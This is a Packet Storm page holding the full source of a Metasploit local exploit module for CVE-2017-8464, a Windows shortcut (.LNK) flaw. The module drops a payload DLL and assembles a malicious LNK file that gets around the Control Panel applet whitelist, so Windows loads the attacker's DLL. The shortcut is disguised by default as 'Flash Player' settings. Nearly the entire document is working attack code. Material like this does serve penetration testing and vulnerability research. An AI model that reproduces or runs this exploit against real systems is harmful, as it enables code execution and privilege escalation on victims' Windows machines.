Lucene search

K
packetstormYorick KosterPACKETSTORM:144927
HistoryNov 08, 2017 - 12:00 a.m.

Microsoft Windows LNK File Code Execution

2017-11-0800:00:00
Yorick Koster
packetstormsecurity.com
136

0.975 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
  
attr_accessor :exploit_dll_name  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'LNK Code Execution Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)  
that contain a dynamic icon, loaded from a malicious DLL.  
  
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is  
similar except an additional SpecialFolderDataBlock is included. The folder ID set  
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass  
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary  
DLL file.  
  
The PATH option must be an absolute path to a writeable directory which is indexed for  
searching. If no PATH is specified, the module defaults to %USERPROFILE%.  
},  
'Author' =>  
[  
'Uncredited', # vulnerability discovery  
'Yorick Koster', # msf module  
'Spencer McIntyre' # msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2017-8464'],  
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],  
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup  
['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format  
['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],  
['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'FileDropperDelay' => 15,  
'WfsDelay' => 30  
},  
'Arch' => [ARCH_X86, ARCH_X64],  
'Payload' =>  
{  
'Space' => 2048  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]  
],  
'DefaultTarget' => 0, # Default target is Automatic  
'DisclosureDate' => 'Jun 13 2017'  
)  
)  
  
register_options(  
[  
OptString.new('FILENAME', [false, 'The LNK file']),  
OptString.new('DLLNAME', [false, 'The DLL file containing the payload']),  
OptString.new('PATH', [false, 'An explicit path to where the files should be written to'])  
]  
)  
  
register_advanced_options(  
[  
OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),  
OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])  
]  
)  
end  
  
def check  
if session.sys.process['SearchIndexer.exe']  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
def get_name(option, default_ext)  
name = datastore[option].to_s.strip  
name = "#{rand_text_alpha(16)}.#{default_ext}" if name.blank?  
name  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if session.platform != 'windows'  
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')  
end  
  
if check == Exploit::CheckCode::Safe  
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')  
end  
  
if sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86  
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')  
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')  
end  
  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')  
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']  
datastore['EXE::Path'] = path  
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")  
  
path = datastore['PATH'] || session.fs.file.expand_path("%USERPROFILE%")  
path.chomp!("\\")  
  
dll_path = "#{path}\\#{get_name('DLLNAME', 'dll')}"  
write_file(dll_path, generate_payload_dll)  
  
lnk_path = "#{path}\\#{get_name('FILENAME', 'lnk')}"  
write_file(lnk_path, generate_link(dll_path))  
register_files_for_cleanup(dll_path, lnk_path)  
end  
  
def file_rm(file)  
if file_dropper_delete(session, file) && @dropped_files && file_dropper_deleted?(session, file, true)  
@dropped_files.delete(file)  
end  
end  
  
def generate_link(path)  
vprint_status("Generating LNK file to load: #{path}")  
path += "\x00" # Do not use << here  
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name  
comment = datastore['LnkComment'].dup << "\x00"  
  
# Control Panel Applet ItemID with our DLL  
cpl_applet = [  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00  
].pack('C*')  
cpl_applet << [path.length].pack('v')  
cpl_applet << [display_name.length].pack('v')  
cpl_applet << path.unpack('C*').pack('v*')  
cpl_applet << display_name.unpack('C*').pack('v*')  
cpl_applet << comment.unpack('C*').pack('v*')  
  
# LinkHeader  
ret = [  
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C  
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046  
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)  
0x00, 0x00, 0x00, 0x00, # FileAttributes  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime  
0x00, 0x00, 0x00, 0x00, # FileSize  
0x00, 0x00, 0x00, 0x00, # IconIndex  
0x00, 0x00, 0x00, 0x00, # ShowCommand  
0x00, 0x00, # HotKey  
0x00, 0x00, # Reserved1  
0x00, 0x00, 0x00, 0x00, # Reserved2  
0x00, 0x00, 0x00, 0x00 # Reserved3  
].pack('C*')  
  
# IDList  
idlist_data = ''  
# ItemID = ItemIDSize (2 bytes) + Data (variable)  
idlist_data << [0x12 + 2].pack('v')  
idlist_data << [  
# All Control Panel Items  
0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
# ItemID = ItemIDSize (2 bytes) + Data (variable)  
idlist_data << [cpl_applet.length + 2].pack('v')  
idlist_data << cpl_applet  
idlist_data << [0x00].pack('v') # TerminalID  
  
# LinkTargetIDList  
ret << [idlist_data.length].pack('v') # IDListSize  
ret << idlist_data  
  
# ExtraData  
# SpecialFolderDataBlock  
ret << [  
0x10, 0x00, 0x00, 0x00, # BlockSize  
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005  
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)  
0x14, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList  
].pack('C*')  
# TerminalBlock  
ret << [0x00, 0x00, 0x00, 0x00].pack('V')  
ret  
end  
end  
`